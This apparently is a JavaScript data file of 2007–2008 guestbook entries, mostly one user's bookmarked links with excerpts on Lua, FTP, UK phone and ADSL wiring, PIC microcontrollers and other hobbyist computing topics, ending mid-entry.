"Lua is a scripting language not totally unlike Tcl, Perl, or Python. Like Tcl, Lua is an \"embedded language\", in the sense that embedding the interpreter into your program is a trivial task, and it is very easy to interface Lua with other languages like C, C++, or even Fortran. Like Python, Lua has a clear and intuitive syntax. Like all those three, Lua is an interpreted language with dynamic typing, and with several reflexive facilities.<BR>\
<BR>\
What sets Lua apart from those languages is its portability, simplicity, and small size. Lua is written in ANSI C, and runs without modifications in almost any platform (MS-DOS, all versions of Windows, all flavors of Unix, plus X-Box, PlayStation II, OS/2, BeOS, EPOC, etc.). The whole program lua.exe has less than 200 Kbytes. Its simplicity led other groups to adopt Lua as a scripting language for other scripting languages (see, for instance, Ruby-Lua).<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"doug","","Wed, 9 May 2007 08:23:40 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://slacksite.com/other/ftp.html",
"Active FTP vs. Passive FTP, a Definitive Explanation",
"",
"Introduction<BR>\
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Hi","hi@hi.com","Sat, 12 May 2007 06:11:44 UTC+0100","80.176.226.127  | mitchellfamily.demon.co.uk  ",
"",
"http://www.firewar.co.nr",
"My website",
"",
"Nice Guestbook"
);
gbF( // guestbook.pl 
"Your name","","Sat, 12 May 2007 22:59:00 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.databaseanswers.org/data_models/index.htm",
"Ten of my Data Models are featured as Starter Data Schemas for the Express Edition ",
"",
"Ten of my Data Models are featured as Starter Data Schemas for the Express Edition of Microsoft SQL Server 2005. <BR>\
Here are about 450 very useful \'Kick-Start\' Data Models that I have created since I started 5 years ago,   and here\'s the Top 20 <BR>\
If you would like an Access Database for any of these Models, email me at dba_requests-at-myway.com, simply replace -at- by an @ sign, and put the Database name in the Subject. <BR>\
I have also added a Data Model Search facility. <BR>\
"
);
gbF( // guestbook.pl 
"Doug","","Fri, 22 Jun 2007 06:53:09 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://x.webring.com/t/JAL-Programming-Language-for-Embedded-Microprocessors",
"JAL Programming Language for Embedded Microprocessors ",
"",
"This Ring is for sites that support embedded microprocessors using the JAL Programming Language."
);
gbF( // guestbook.pl 
"Your name","","Fri, 22 Jun 2007 07:27:09 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.graphviz.org/",
"Graph Visualization",
"",
"Graph Visualization<BR>\
Graph visualization is a way of representing structural information as diagrams of abstract graphs and networks. Automatic graph drawing has many important applications in software engineering, database and web design, networking, and in visual interfaces for many other domains. <BR>\
Graphviz is open source graph visualization software. It has several main graph layout programs. See the gallery for some sample layouts. It also has web and interactive graphical interfaces, and auxiliary tools, libraries, and language bindings. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"William Richardson","wrichardson@blueroomelectronics.com","Fri, 6 Jul 2007 15:59:52 UTC+0100","74.123.76.229  | CPE00115b0db5d4-CM001404dca416.cpe.net.cable.rogers.com  ",
"",
"http://www.blueroomelectronics.com",
"PIC Smart Kits Build Smart People",
"",
"Home of the Inchworm+ ICD2 and lots of exciting PIC kits with schematics, code etc."
);
gbF( // guestbook.pl 
"Your name","","Mon, 6 Aug 2007 21:53:24 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://distantwriting.co.uk/default.aspx",
"Electric Telegraphy in Britain - Some Lines from the Past ",
"",
"Distant Writing is a chronology of the growth and performance of all of the domestic public telegraph companies formed in Britain from 1838 to 1868, as well as of their associated cable companies. It tries to put their remarkable, largely unrecognised,  achievements and developments into the context of the time; and to demonstrate - surprisingly- how their enterprise is once again reflected in the way we communicate now. A plan for a universal telegraph in every home was just one of the schemes successfully introduced by the companies - until the Government took over... "
);
gbF( // guestbook.pl 
"Your name","","Mon, 10 Sep 2007 07:22:46 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.wppltd.demon.co.uk/WPP/Wiring/UK_telephone/uk_telephone.html",
"how to wire a UK telephone extension.",
"",
"This article explains how to wire a UK telephone extension.  You are allowed to install extension wiring so long as the connection to the master socket is via  a plug, or in the case of the master socket with a detachable lower half, via the connectors on that section.  If you decide to connect directly to the master socket or install/replace a master socket you should be aware that you are in breach of your licence to use the phone service and  your service provider may charge if they have to come to rectify a fault caused by your efforts (it is rare for them so to do unless you have been really ham fisted).<BR>\
<BR>\
NEVER connect un-approved devices which take power from the mains to the telephone system.  Even if you survive the mains on the cabling the poor wireman sitting in a muddy hole some way away trying to find a fault may not. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 10 Sep 2007 22:39:19 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.epanorama.net/documents/telecom/adsl_filter.html",
"Basics of ADSL and telephone",
"",
"Telephone wires were originally designed to carry \"Commercial Speech\" between your home and the telephone exchange. This uses a band of frequencies from 300 to 3400 hertz. this system is called PSTN (public switched telephone network). <BR>\
<BR>\
ADSL uses frequencies very much higher than this speech band to carry fast data traffic. ADSL systems use typically frequencies between 25 kHz and around 1.1 MHz. <BR>\
<BR>\
Because PSTN and ADSL systems operate at different frequencies, they can be carried though the same wire pair at the same when the operating conditions are right. Voice calls operate between 300Hz and 3.4KHz, and include also DC power (0-72V DC at on-hook condition, typically 0-60 mA current and lower voltage at on-hook) and rign voltage (typically 40-80 V AC at 20-25 Hz freuquency). The voice telephone system is matched to 600 ohm (or close to it) impedance at voice frequencies. ADSL technology operates between 26KHz and 1.1 MHz and is designed for around 100 ohms impedance. Because the two frequency spectrums do not overlap, it follows that both data and voice can be present at the same time on a single pair of copper wire. The different impedances have hostorical and technical reasons. The impedance of telephoen wiring is typically around 100-120 ohms at the frequencies ADSL system uses. The cable impedance is somewhat higher at voice frequency range, considerably higher than 100 ohms, and where where historical 600 ohms impedance comes to picture (cable might not be exactly 600 ohms for voice, but that\'s what devices are designed for). <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 10 Sep 2007 22:42:03 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://usertools.plus.net/tutorials/id/13",
"Tutorials - ADSL > Wiring and Filters",
"",
"Tutorials - ADSL > Wiring and Filters<BR>\
Tutorials & FAQs: ADSL: Wiring and Filters<BR>\
<BR>\
<BR>\
Some people find it very confusing when trying to work out how many filters / splitters are needed and how to put them in circuit. This tutorial is intended to shed some light on this and help those who are new to the setting up of ADSL.<BR>\
<BR>\
<BR>\
Why do we need the filter(s) at all?<BR>\
<BR>\
Basically your telephone line was originally designed to carry \"Commercial Speech\" between your home and the telephone exchange. This uses a band of frequencies from 300 to 3000 hertz.<BR>\
<BR>\
ADSL uses frequencies very much higher than this speech band so you now finish up with two different systems on the one line. In order to keep these systems apart and stop them interfering with each other it is necessary to separate the two components from the telephone line in your home. This is where the Filter / Splitter comes in. It is normally a small plastic box with a short lead that plugs into your phone socket and two outputs, one for your ADSL Modem and another for a telephone (or multiple telephones on this output, but more of that later)<BR>\
<BR>\
Inside this box are the filters that select the band of frequencies for each of the outputs, phone or ADSL, and send just the correct band to the appropriate socket.<BR>\
<BR>\
So lets now look at how it fits together.<BR>\
<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 11 Sep 2007 14:32:23 UTC+0100","193.113.37.7  |   ",
"",
"http://yarwell.blogspot.com/2005_08_01_yarwell_archive.html",
"More on phone wiring",
"",
"Or should that be Moron phone wiring :-)<BR>\
<BR>\
After the success with taking the ring wire off and improving the SNR I was blessed with a free speed upgrade to 2M by my ISP Demon which was facilitated by ADSLguide getting my entry changed in BT\'s line prequalification number checker.<BR>\
<BR>\
This speed upgrade took the downstream SNR margin down to 25 dB, still healthy but I was pleased I did the ring wire thing to improve it. Last night I hooked the ring wire up again and the ADSL modem lost sync, it re-trained to an SNR of 12 dB and ran OK but clocked up errors. The reason I put it back on was to look at the frequency effects of the interference, using a Sagem F@st 800 modem\'s diagnostic mode.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 14 Sep 2007 09:03:40 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.plus.net/support/broadband/products/getready.shtml?link=suptop5_bb1",
"Get Ready for High-speed Broadband",
"",
"How to get the best experience with new high-speed broadband? <BR>\
You can get the best speeds and experience by following these tips:<BR>\
<BR>\
Microfilters (sometimes called splitters)<BR>\
Place a microfilter between the telephone socket and your broadband modem or router. You then need to make sure any other telephone sockets in you house have microfilters between them and your other telephone. This includes appliances such as satellite set-top boxes. If experiencing connectivity problems, try using a different filter as a first step.<BR>\
<BR>\
<BR>\
Modem<BR>\
Make sure that you have the latest modem drivers installed. Visit the website of your modem manufacturer to see if updated drivers are available. Some customers may find they have older modems that simply cannot handle the new faster speeds and would be advised to purchase newer equipment.<BR>\
<BR>\
<BR>\
Extension leads<BR>\
If you use telephone extension leads, these could cause disconnections and slowdowns. We recommend that you buy a broadband-specific phone extension lead to get the best performance from high-speed broadband. It is important that you keep the length of the extension lead as short as possible.<BR>\
<BR>\
<BR>\
Master telephone socket<BR>\
Try testing your broadband service using the main (master) telephone socket (generally the first socket where the line comes in to your house) with all the other devices unplugged from all other phone sockets. Many instances of slowdowns and disconnections are caused by faulty phone extension leads for example. <BR>\
<BR>\
<BR>\
Speed test<BR>\
In the first 10 days of your new \'Up to 8Mb\' service you will see changes in speed, such line speed changes should be expected. Only once your line speed has stabilised, can you assess if you have a problem with your speeds, using the Help Assistant to guide you. <BR>\
<BR>\
<BR>\
Interleaving<BR>\
Interleaving is a technique used to stop interference affecting your data transfer. This is now activated on all lines by default for new orders, and may be present where a fault has previously been reported. Interleaving is used by BT when providing your high-speed broadband on some phone lines, to give you a faster and more stable speed where it has been identified that your line needs it. However this may add a small delay (or added latency) on your line, which may be of concern to gamers. Removing interleaving that has been switched on is likely to result in line instability and is not recommended in most cases. If you do want to have interleaving removed please use the Help Assistant to raise a Ticket.<BR>\
<BR>\
<BR>\
Please note: some customers may see no increase in speed as a result of being moved over to the new high-speed service. In some cases we will move customers back to IPStream. However, this won’t always be the best solution, so the course of action will be considered on a case-by-case basis. Often the problem is either caused by a lack of capacity from the local exchange, or cross-talk caused by other ISP’s customers also being moved to the high-speed service.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 15 Sep 2007 20:49:15 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/Erlangs/adsl.htm",
"The Bell Wire and ADSL MaxDSL performance.",
"",
"The Bell Wire and ADSL<BR>\
<BR>\
This page reports that when I disconnected the Bell wire at my master socket faceplate, My ADSL connection downloads went from a disappointing 136 kbs to a very acceptable 5250 kbs.<BR>\
<BR>\
My ADSL download has been disappointing since my line was MaxDSL\'d. I have reported the fault to my ISP, and was told to directly connect the modem to the master socket.<BR>\
<BR>\
When I did a direct connection a few years ago, I got 5000/448 DownStream/Upstream, but with the extensions connected, I got about 3904<BR>\
<BR>\
<BR>\
Before considering the move of the ADSL modem down besides the master socket, I thought I would try and see if the filters were at fault<BR>\
<BR>\
BT speed test reports: - Very disappointing download, given the DownStream is 3904 kbps<BR>\
<BR>\
 <BR>\
Test1 comprises of Best Effort Test:  -provides background information.<BR>\
    IP profile for your line is - 135 kbps<BR>\
    DSL connection rate: 448 kbps(UP-STREAM)  3904 kbps(DOWN-STREAM)<BR>\
    Actual IP throughput achieved during the test was - 121 kbps<BR>\
<BR>\
<BR>\
During my testing, I noticed that the Solwise Microfilters only had two wires."
);
gbF( // guestbook.pl 
"Your name","","Sun, 16 Sep 2007 09:09:03 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://searchnetworking.techtarget.com/sDefinition/0,,sid7_gci748455,00.html",
"discrete multitone",
"",
"<BR>\
discrete multitone <BR>\
 <BR>\
 <BR>\
<BR>\
  <BR>\
 - Discrete multitone (DMT) is a method of separating a Digital Subscriber Line (DSL) signal so that the usable frequency range is separated into 256 frequency bands (or channels) of 4.3125 kHz each. DMT uses the fast Fourier transform (FFT) algorithm for modulation and demodulation. Dividing the frequency spectrum into multiple channels allows DMT to work better when AM radio transmitters are present. Within each channel, modulation uses quadratude amplitude modulation (QAM). By varying the number of bits per symbol within a channel, the modem can be rate-adaptive. Both G.DMT and G.lite use DMT. <BR>\
Other modulation technologies for DSL are carrierless amplitude modulation (CAP) and multiple virtual line (MVL). However, DMT is the most widely used and appears to be becoming the industry standard. <BR>\
<BR>\
 <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 23 Sep 2007 20:52:00 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.jarviser.co.uk/jarviser/broadbandspeed.html",
"Improving your BT Line based Broadband Speed - Cut the Bellwire!",
"",
"This cure for RF interference works whether you have Linux, Mac or Windows! <BR>\
<BR>\
May 2007 <BR>\
Modification of this type to your extension wiring is quite LEGAL in the UK. <BR>\
<BR>\
Even if your hub is plugged into the BT master socket and your extensions are unused, if you have the bellwire connected in those extensions it can generate radio frequency (RF) interference down the BT lines and reduce your exchange profile speed setting. <BR>\
The sypmtoms<BR>\
"
);

gbF( // guestbook.pl 
"Your name","","Mon, 24 Sep 2007 08:20:36 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.adslnation.com/support/filters.php",
"ADSL Microfilters",
"",
"ADSL Microfilters<BR>\
<BR>\
What a Microfilter does<BR>\
A microfilter performs two main tasks. First, it prevents high frequency noise from appearing at the telephone and potentially decreasing voice quality. Second, it prevents the telephone equipment from interfering with the modem by preventing harmonics, overtones and changes in impedance caused by the telephone equipment.<BR>\
<BR>\
What\'s Inside<BR>\
Not all filters are equal. Below are some pictures of the components inside some popular UK microfilters.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 28 Sep 2007 08:32:47 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.readman.dsl.pipex.com/other/UKphonecatwiring.htm",
"United Kingdom internal phone systems re-wiring",
"",
"United Kingdom internal phone systems<BR>\
<BR>\
Re-wiring<BR>\
<BR>\
This guide was originally created to show users how to replace and re-wire the user side internal telephone cabling with Category5e/6 cable in an attempt to reduce interference that could hinder broadband services like xDSL.<BR>\
<BR>\
However is now updated with other tips and tricks to improve line stats further.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"icoka","icoka@msn.com","Thu, 11 Oct 2007 11:41:02 UTC+0100","80.253.54.1  | H-80-253-54-1.sz.orbinet.bg  ",
"",
"www.jeneni.hit.bg",
"guestbook",
"",
"thanks"
);
gbF( // guestbook.pl 
"Your name","","Fri, 9 Nov 2007 07:36:48 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.pol.ac.uk/ntslf/sadata_tgi_ntslf_v2.php?code=Harwich&span=2",
"Real/Near-real time data display",
"",
"The National Tidal and Sea Level Facility (NTSLF)"
);
gbF( // guestbook.pl 
"Your name","","Fri, 9 Nov 2007 07:40:01 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.pol.ac.uk/ntslf/sadata_tgi_ntslf_v2.php?code=Lowestoft&span=1",
"Real/Near-real time data display LOWESTOFT",
"",
"Real/Near-real time data display LOWESTOFT"
);
gbF( // guestbook.pl 
"Your name","","Fri, 9 Nov 2007 08:35:54 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.java4less.com/rchartphp/rchartvb/index.html",
"RChart Visual Builder Php Edition",
"",
"RChart Visual Builder Php Edition"
);
gbF( // guestbook.pl 
"Your name","","Mon, 12 Nov 2007 21:47:39 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.sintef.no/time/elb40/html/elb/sdl/sdl_t01.htm",
"SDL Tutorial",
"",
"SDL Tutorial<BR>\
Introduction<BR>\
This SDL tutorial provides a number of different approaches to learning SDL:<BR>\
<BR>\
Overview of SDL <BR>\
- follow this if you would like an overview of the language elements of SDL, with an example as illustration; this is organised according to what instances an SDL system consists of, how they are defined, how SDL systems are structured, how processes communicate, how subtypes can be defined and how data types may be defined. <BR>\
SDL by example<BR>\
- follow this if you would rather see a complete example right away and have the language explained through this; this is organised as a top-down introduction where you start from a system diagram, through block diagrams, to process, service and procedure diagrams. <BR>\
SDL as an object oriented language<BR>\
- follow this if you would like to learn how SDL elements correspond to the various elements of object orientation; this requires a minimal knowledge of object orientation, and you will learn what corresponds to objects, attributes, classes, subclasses, etc. <BR>\
Behind all these perspectives on SDL lies a number of definitions of the various language concepts and most of the figures in the electronic form of this chapter will be sensitive for mouse clicks and provide the definitions of the language element you click at at in the diagrams.<BR>\
<BR>\
In addition the Chapter provides you with a subset of the more formal definition of SDL. Whenever you in the electronic form encounter a text like this \" Z.100 \", clicking on this will bring you part of the Z.100 correspondence to the topic you are reading.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 20 Nov 2007 20:28:24 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://ccgi.dougrice.plus.com/img/img3.htm",
"Click a link and update Status Icon",
"",
"The page shows icons for some items. Click on the links to update."
);
gbF( // guestbook.pl 
"Your name","","Thu, 29 Nov 2007 20:45:48 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.pmpcomp.fr/index.php",
"PMP (Pic Micro Pascal) is a free Pascal cross compiler for PIC™ processors",
"",
"What is PMP?<BR>\
<BR>\
<BR>\
PMP (Pic Micro Pascal) is a free Pascal cross compiler for PIC™ processors. It is intended to work with the Microchip MPASM/MPLINK suite.<BR>\
PMP has its own IDE and is a highly optimized compiler.<BR>\
It supports most PIC16 devices, PIC10 and PIC12 devices support is quite good. PIC18 will be supported later (design has started).<BR>\
This site is open for comments, discussions, bug reports and new features requests.<BR>\
Thanks to give a link on pmpcomp in your own sites or news / discussions groups.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Thu, 29 Nov 2007 21:02:13 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://search.cpan.org/~davidnico/HTTP-Server-Singlethreaded-0.05/Singlethreaded.pm",
"HTTP::Server::Singlethreaded - a framework for standalone web applications",
"",
"HTTP::Server::Singlethreaded is a framework for providing web applications without using a web server (apache, boa, etc.) to handle HTTP.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 7 Dec 2007 22:44:36 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.jarviser.co.uk/jarviser/homehubindex.html",
"WELCOME to some articles about the BT Home Hub wireless router. ",
"",
"BT Home Hub section<BR>\
WELCOME to some articles about the BT Home Hub wireless router. <BR>\
<BR>\
<BR>\
<BR>\
Links on the left show the content of this section<BR>\
 <BR>\
Navigate:<BR>\
<BR>\
HOME <BR>\
<BR>\
PROJECTS <BR>\
<BR>\
TOOLS ETC <BR>\
<BR>\
NON WOODWORK STUFF! <BR>\
<BR>\
Blog <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 1 Jan 2008 14:43:50 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://picprojects.org.uk/projects/recal/recal.htm",
"Internal Oscillator Recalibration Utility for PIC 12F629 & 12F675",
"",
"Internal Oscillator Recalibration Utility for PIC 12F629 & 12F675<BR>\
<BR>\
Description<BR>\
<BR>\
The PIC 12F629 and 12F675 devices have an internal 4Mhz oscillator that enables the devices to be used without an external crystal or RC network.  This frees up one or two pins for I/O use and allows the device to be built into minimum component count designs.<BR>\
<BR>\
The internal oscillator needs to be calibrated and this is achieved by reading a factory programmed calibration setting and writing it into the OSCCAL register during initialisation of the device by the application software.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 7 Jan 2008 14:10:00 UTC+0100","193.113.37.7  |   ",
"",
"http://www.redcircuits.com/Page26.htm",
"Two-wire Lamp Flasher",
"",
"Two-wire Lamp Flasher<BR>\
<BR>\
--------------------------------------------------------------------------------<BR>\
<BR>\
Ideal to operate 3 to 24V DC existing on-circuit lamps<BR>\
LED operation is also possible<BR>\
<BR>\
--------------------------------------------------------------------------------<BR>\
<BR>\
Circuit diagram:<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 8 Jan 2008 07:51:34 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.4i2i.com/adsl.htm",
"ADSL Tutorial - nice diagrams",
"",
"ADSL Tutorial<BR>\
<BR>\
Background<BR>\
<BR>\
Asymmetric Digital Subscriber Line offers the benefits of the Information Superhighway without the expense or wait. ADSL enables the delivery of switched digital video services now over the existing telephone infrastructure, composed primarily of copper wire pair, instead of waiting for the implementation of costly new cabling systems. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Thu, 10 Jan 2008 08:30:06 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://community.plus.net/comms/2007/07/02/broadband-speed-faults-how-to-diagnose/",
"Broadband Speed Faults: How to diagnose?",
"",
"Broadband Speed Faults: How to diagnose?<BR>\
One of the more common questions that we are asked by our customers is “Why is my Broadband slow?” Which in itself is, of course, a perfectly reasonable question. Unfortunately, finding the answer isn’t always quite as easy! We have customers on fixed rate products and max products and the diagnosis on both is quite different. This is predominantly owing to the distinct lack of useful diagnostics available for us on the fixed rate products, but fortunately, on the max (upto 8Mbps) services, there are considerably more diagnostic tools available that help us to diagnose speed issues, as well as tools available for the customer. I’ll be focusing on this product in this posting as at least two thirds of our customers are on the upto 8Mbps product with us.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 19 Jan 2008 11:04:06 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.forthfreak.net/index.cgi?jsforth",
"jsforth is a Forth which has been implemented in JavaScript, using a web browser as host platform. Current screen layout works best with screen resolutions of 1024x768 or higher. Firefox, Mozilla, Netscape are the best-supported browsers at this point. ",
"",
"jsforth abstract:<BR>\
jsforth is a Forth which has been implemented in JavaScript, using a web browser as host platform. Current screen layout works best with screen resolutions of 1024x768 or higher. Firefox, Mozilla, Netscape are the best-supported browsers at this point. <BR>\
<BR>\
Run jsforth (JavaScript required) <BR>\
View the source code <BR>\
ForthCoreWords : implementation status of Forth core words in jsforth <BR>\
ThePurposeOfForthInJavaScript <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 8 Feb 2008 07:51:53 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.cuneytyilmaz.com/prog/jrx/jrx.nongecko.html#",
"JRX: real-time JavaScript RegExp evaluator v1.1b3",
"",
"This is not an AJAX application, you can save the page and use it off-line.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 8 Feb 2008 20:59:30 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.wxjavascript.net/",
"wxJavaScript started as a project for porting wxWidgets to JavaScript. ",
"",
"What is wxJavaScript?<BR>\
wxJavaScript started as a project for porting wxWidgets to JavaScript. But at this time, wxJavaScript is a lot more. it has an Apache module mod_wxjs, an SQLite module, ... And many other modules are planned. So with wxJavaScript, you can write server-side scripts for generating (x)html pages, system scripts, GUI applications, ... in one of the most used programming languages: JavaScript. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Wed, 5 Mar 2008 08:27:35 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.w3schools.com/jsref/jsref_obj_regexp.asp",
"JavaScript RegExp Object Reference",
"",
"JavaScript RegExp Object Reference"
);
gbF( // guestbook.pl 
"Your name","","Mon, 7 Apr 2008 08:44:59 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.lammertbies.nl/comm/info/RS-232_null_modem.html#orig",
"RS232 serial null modem cable wiring and tutorial",
"",
"Null modem, an introduction<BR>\
Serial communications with RS232. One of the oldest and most widely spread communication methods in computer world. The way this type of communication can be performed is pretty well defined in standards. I.e. with one exception. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 7 Apr 2008 08:47:44 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.lvr.com/serport.htm#usb_virtual_com_ports",
"Serial links and networks: RS-232, RS-485, COM ports, USB virtual COM ports, ",
"",
"Serial Port Central<BR>\
Serial links and networks: RS-232, RS-485, COM ports, USB virtual COM ports, and more<BR>\
<BR>\
brought to you by Jan Axelson<BR>\
<BR>\
");
gbF( // guestbook.pl 
"Your name","","Tue, 20 May 2008 08:14:41 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://fabrice.bellard.free.fr/",
"Fabrice Bellard\'s Project Page",
"",
"Fabrice Bellard\'s Project Page<BR>\
http://bellard.org <BR>\
Current Projects<BR>\
  <BR>\
Analog and Digital TV (DVB-T) signal generation by displaying an image on a PC display. <BR>\
<BR>\
  <BR>\
QEMU is a generic machine emulator and virtualizer. <BR>\
<BR>\
  <BR>\
FFMPEG, the Open Source Multimedia System. I launched this project in year 2000 and lead it during several years. <BR>\
<BR>\
  <BR>\
TCC is a tiny but complete ISOC99 C compiler which enables you to use C as scripting language. TCC has its roots in the OTCC project. The TCCBOOT boot loader demonstrate the speed of TCC by compiling and launching a Linux kernel in less than 15 seconds. <BR>\
<BR>\
  <BR>\
QEmacs (for Quick Emacs) is an emacs clone I began to learn Unicode rendering algorithms, text buffers manipulation and XML/HTML/CSS parsing. <BR>\
<BR>\
  <BR>\
OTCC is a very small self-compiling compiler for a subset of C I wrote to win the 2001 edition of the International Obfuscated C Contest. <BR>\
<BR>\
  <BR>\
TinyGL: a Small, Free and Fast Subset of OpenGL. <BR>\
<BR>\
  <BR>\
My Pi page. In 1997 I found the most efficient formula to date to compute the nth binary digits of Pi. <BR>\
<BR>\
A tiny C program to print the biggest known prime number. A previous version of it won the International Obfuscated C Code Contest of Year 2000. Well, not an example of C programming :-) <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 31 May 2008 07:15:39 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dos4ever.com/E1T/E1T.html",
"The making of the E1T scaler tube",
"",
"The making of the E1T<BR>\
The E1T scaler tube, <BR>\
who were the people who invented it, where was it developed and produced? <BR>\
A search into the history of a fascinating tube. <BR>\
Ronald Dekker"
);
gbF( // guestbook.pl 
"Your name","","Sat, 31 May 2008 07:17:01 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://bellard.org/",
"Fabrice Bellard\'s Project Page",
"",
"http://bellard.org/<BR>\
<BR>\
Fabrice Bellard\'s Project Page<BR>\
http://bellard.org <BR>\
Current Projects<BR>\
An online Scientific Web Calculator. <BR>\
<BR>\
Analog and Digital TV (DVB-T) signal generation by displaying an image on a PC display. <BR>\
<BR>\
QEMU is a generic machine emulator and virtualizer. <BR>\
<BR>\
FFMPEG, the Open Source Multimedia System. I launched this project in year 2000 and lead it during several years. <BR>\
<BR>\
TCC is a tiny but complete ISOC99 C compiler which enables you to use C as scripting language. TCC has its roots in the OTCC project. The TCCBOOT boot loader demonstrate the speed of TCC by compiling and launching a Linux kernel in less than 15 seconds. <BR>\
<BR>\
QEmacs (for Quick Emacs) is an emacs clone I began to learn Unicode rendering algorithms, text buffers manipulation and XML/HTML/CSS parsing. <BR>\
<BR>\
OTCC is a very small self-compiling compiler for a subset of C I wrote to win the 2001 edition of the International Obfuscated C Contest. <BR>\
<BR>\
TinyGL: a Small, Free and Fast Subset of OpenGL. <BR>\
<BR>\
My Pi page. In 1997 I found the most efficient formula to date to compute the nth binary digits of Pi. <BR>\
<BR>\
A tiny C program to print the biggest known prime number. A previous version of it won the International Obfuscated C Code Contest of Year 2000. Well, not an example of C programming :-) <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 1 Jun 2008 15:21:29 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dattalo.com/technical/software/software.php",
"http://www.dattalo.com/technical/software/software.php",
"",
"My project manager has a theory: \"Take any $100,000 instrument. You can most probably emulate an important subset of its functionality with a PIC.\" And damn me if he\'s not right! The only problem is that you need some really tweaked software (or equivalently, some really tweaked programmers). <BR>\
<BR>\
The good thing is that much of the software exists and is FREE! For example check out the ap-notes at Microchip . If you\'re just looking for a few ideas, then check out a small collection of routines that I\'ve bit-butchered:<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Thu, 12 Jun 2008 07:20:24 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.qsl.net/wd9eyb/klunky/home.html",
"Klunky Schematic Editor Home Page ",
"",
"The Klunky Schematic Drawing Web Page is intended for use by radio amateurs to draw small schematics. The capabilties of the web page are not great and the limitations of it make it suitable only for small schematics. If schematics bigger than the small ones that can be produced by the web page are needed, then one of the commercially available schematic drawing programs should be used. <BR>\
<BR>\
However, small schematics are ideal for many radio amateurs. Since the web page is available to all and runs on many web browsers on a variety of computers, radio amateurs all over the world can use it to draw schematics. The HTML generate function can be used to put schematics on the web and thus allow hams to share schematics with each other. The schematics can also be screen captured and pasted into documents and thus included in the publications that hams produce. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 14 Jun 2008 11:45:37 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.tiddlywiki.com/",
"TiddlyWiki  a reusable non-linear personal web notebook",
"",
"<BR>\
JeremyRuston, 9 May 2008(created 20 September 2005)<BR>\
not tagging<BR>\
tags: <BR>\
welcome<BR>\
